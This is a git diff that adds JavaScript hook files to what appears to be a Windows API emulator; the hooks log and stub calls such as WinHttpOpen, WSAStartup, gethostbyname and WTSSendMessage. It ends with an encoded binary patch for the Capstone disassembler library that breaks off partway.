RW_INDEX = 0xC000; + +RegisterWindowMessage.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var lpString = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + log("{0}('{1}') = 0x{2}".format( + API.name, + API.IsWapi ? Emu.ReadStringW(lpString) : Emu.ReadStringA(lpString), + RW_INDEX.toString(16) + )); + +/* +If the message is successfully registered, +the return value is a message identifier in the range 0xC000 through 0xFFFF +*/ + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, RW_INDEX); + RW_INDEX += 1; + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +RegisterWindowMessage.install('user32.dll', 'RegisterWindowMessageA'); +RegisterWindowMessage.install('user32.dll', 'RegisterWindowMessageW'); + +/* +################################################################################################### +################################################################################################### +*/ diff --git a/Build/hooks/uxtheme.js b/Build/hooks/uxtheme.js new file mode 100644 index 0000000..a15edba --- /dev/null +++ b/Build/hooks/uxtheme.js @@ -0,0 +1,24 @@ +// @ts-check +/// +/// +/// + +'use strict'; + +var IsThemeActive = new ApiHook(); +IsThemeActive.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + print('0x',ret.toString(16),' IsThemeActive'); + + Emu.SetReg(REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +IsThemeActive.install('uxtheme.dll', 'IsThemeActive'); + +/* +################################################################################################### +################################################################################################### +*/ diff --git a/Build/hooks/winhttp.js b/Build/hooks/winhttp.js new file mode 100644 index 0000000..098f207 --- /dev/null +++ b/Build/hooks/winhttp.js @@ -0,0 +1,123 @@ +// @ts-check +/// +/// +/// + +'use strict'; + +var WinHttpOpen = new ApiHook(); +/* +WINHTTPAPI HINTERNET WinHttpOpen( + LPCWSTR pszAgentW, + DWORD dwAccessType, + LPCWSTR pszProxyW, + LPCWSTR pszProxyBypassW, + DWORD dwFlags +); +*/ +WinHttpOpen.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var pszAgentW = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwAccessType = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var pszProxyW = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var pszProxyBypassW = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 Shadow for x64 as MS describe it :D + // not we are at the 5th param . + var dwFlags = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + + print("WinHttpOpen('{0}', {1}, '{2}', '{3}', {4} )".format( + Emu.ReadStringW(pszAgentW), + dwAccessType, + Emu.ReadStringW(pszProxyW), + Emu.ReadStringW(pszProxyBypassW), + dwFlags + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 100); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +WinHttpOpen.install('winhttp.dll', 'WinHttpOpen'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var WinHttpGetProxyForUrl = new ApiHook(); +/* +BOOLAPI WinHttpGetProxyForUrl( + IN HINTERNET hSession, + IN LPCWSTR lpcwszUrl, + IN WINHTTP_AUTOPROXY_OPTIONS *pAutoProxyOptions, + OUT WINHTTP_PROXY_INFO *pProxyInfo +); +*/ +WinHttpGetProxyForUrl.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var hSession = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var lpcwszUrl = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var pAutoProxyOptions = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var pProxyInfo = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + + print("WinHttpGetProxyForUrl({0}, '{1}', 0x{2}, 0x{3})".format( + hSession, + Emu.ReadStringW(lpcwszUrl), + pAutoProxyOptions.toString(16), + pProxyInfo + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +WinHttpGetProxyForUrl.install('winhttp.dll', 'WinHttpGetProxyForUrl'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var WinHttpGetIEProxyConfigForCurrentUser = new ApiHook(); +/* +BOOLAPI WinHttpGetIEProxyConfigForCurrentUser( + IN OUT WINHTTP_CURRENT_USER_IE_PROXY_CONFIG *pProxyConfig +); +*/ +WinHttpGetIEProxyConfigForCurrentUser.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var pProxyConfig = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + print("WinHttpGetIEProxyConfigForCurrentUser(0x{0})".format( + pProxyConfig.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +WinHttpGetIEProxyConfigForCurrentUser.install('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser'); + + +/* +################################################################################################### +################################################################################################### +*/ + + + + + + + + + + diff --git a/Build/hooks/ws2_32.js b/Build/hooks/ws2_32.js new file mode 100644 index 0000000..cc5f3c6 --- /dev/null +++ b/Build/hooks/ws2_32.js @@ -0,0 +1,124 @@ +// @ts-check +/// +/// +/// + +'use strict'; + +var WSAStartup = new ApiHook(); +/* +int WSAStartup( + WORD wVersionRequired, + LPWSADATA lpWSAData +); +*/ +WSAStartup.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var wVersionRequired = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var lpWSAData = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + + print('WSAStartup(0x{0},0x{1})'.format( + wVersionRequired.toString(16), + lpWSAData.toString(16) + )); + + + var version = [0x02 ,0x02 ,0x02 ,0x02 ,0x57 ,0x69 ,0x6E ,0x53 ,0x6F ,0x63 ,0x6B ,0x20 ,0x32 ,0x2E ,0x30 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x52 ,0x75 ,0x6E ,0x6E ,0x69 ,0x6E ,0x67 ,0x00] + + Emu.WriteMem(lpWSAData,version); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); // just for now :P . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +WSAStartup.install('ws2_32.dll', 'WSAStartup'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var gethostbyname = new ApiHook(); +/* +hostent gethostbyname( + LPSTR lphostname +); +*/ +gethostbyname.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var lphostname = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var Host = Emu.ReadStringA(lphostname); + + print("gethostbyname('{0}')".format( + Host + )); + var addr = (0x40000000 + 0x72000); + +/* +00000000 hostent struc ; (sizeof=0x10, align=0x4) +00000000 h_name dd ? ; offset +00000004 h_aliases dd ? ; offset +00000008 h_addrtype dw ? +0000000A h_length dw ? +0000000C h_addr_list dd ? ; offset +00000010 hostent ends +*/ + + Emu.WriteDword(addr , lphostname); // Pointer to h_name + Emu.WriteDword(addr+4 , addr+16); // Pointer to h_aliases + Emu.WriteWord (addr+8 , 2); // h_addrtype + Emu.WriteWord (addr+10, 4); // h_length + Emu.WriteDword(addr+12, addr+20); // h_addr_list + Emu.WriteDword(addr+20, addr+28); + Emu.WriteDword(addr+28, 0x100007F); + + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, addr); // just for now :P . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +gethostbyname.install('ws2_32.dll', 'gethostbyname'); +/* +################################################################################################### +################################################################################################### +*/ + +var htons = new ApiHook(); +/* +u_short htons( + u_short hostshort +); +*/ +htons.OnCallBack = function (Emu, API, ret) { + + // just let the lib handle converting the value . + + var hostshort = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 1)); + + info("htons(0x{0})".format( + hostshort.toString(16) + )); + + return true; +}; +htons.OnExit = function (Emu,API) { + + warn("htons = (0x{0})".format( + Emu.ReadReg(REG_EAX).toString(16) + )); +} +htons.install('ws2_32.dll', 'htons'); + +/* +################################################################################################### +################################################################################################### +*/ + + diff --git a/Build/hooks/wtsapi32.js b/Build/hooks/wtsapi32.js new file mode 100644 index 0000000..e0cbd67 --- /dev/null +++ b/Build/hooks/wtsapi32.js @@ -0,0 +1,67 @@ +// @ts-check +/// +/// +/// + +'use strict'; + +var WTSSendMessage = new ApiHook(); +/* +BOOL WTSSendMessage( + IN HANDLE hServer, + IN DWORD SessionId, + LPSTR pTitle, + IN DWORD TitleLength, + LPSTR pMessage, + IN DWORD MessageLength, + IN DWORD Style, + IN DWORD Timeout, + DWORD *pResponse, + IN BOOL bWait +); +*/ +WTSSendMessage.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); + + var hServer = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var SessionId = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var pTitle = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var TitleLength = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 Shadow for x64 as MS describe it :D + // not we are at the 5th param . + var pMessage = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + var MessageLength = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + (8 * 1)) : Emu.pop(); + var Style = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + (8 * 2)) : Emu.pop(); + var Timeout = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + (8 * 3)) : Emu.pop(); + var pResponse = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + (8 * 4)) : Emu.pop(); + var bWait = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + (8 * 5)) : Emu.pop(); + + + var title = API.IsWapi ? Emu.ReadStringW(pTitle) : Emu.ReadStringA(pTitle); + var msg = API.IsWapi ? Emu.ReadStringW(pMessage) : Emu.ReadStringA(pMessage); + + warn("WTSSendMessage{0}('{1}','{2}')".format( + API.IsWapi ? 'W' : 'A', + title, + msg + )) + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; +}; + +WTSSendMessage.install('wtsapi32.dll','WTSSendMessageA'); +WTSSendMessage.install('wtsapi32.dll','WTSSendMessageW'); + +/* +################################################################################################### +################################################################################################### +*/ + + + + + diff --git a/Build/libraries/linux/libcapstone.a b/Build/libraries/linux/libcapstone.a new file mode 100644 index 0000000000000000000000000000000000000000..b82d30527e36d3d2958cc2092f334e9807901dd2 GIT binary patch literal 1769030 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 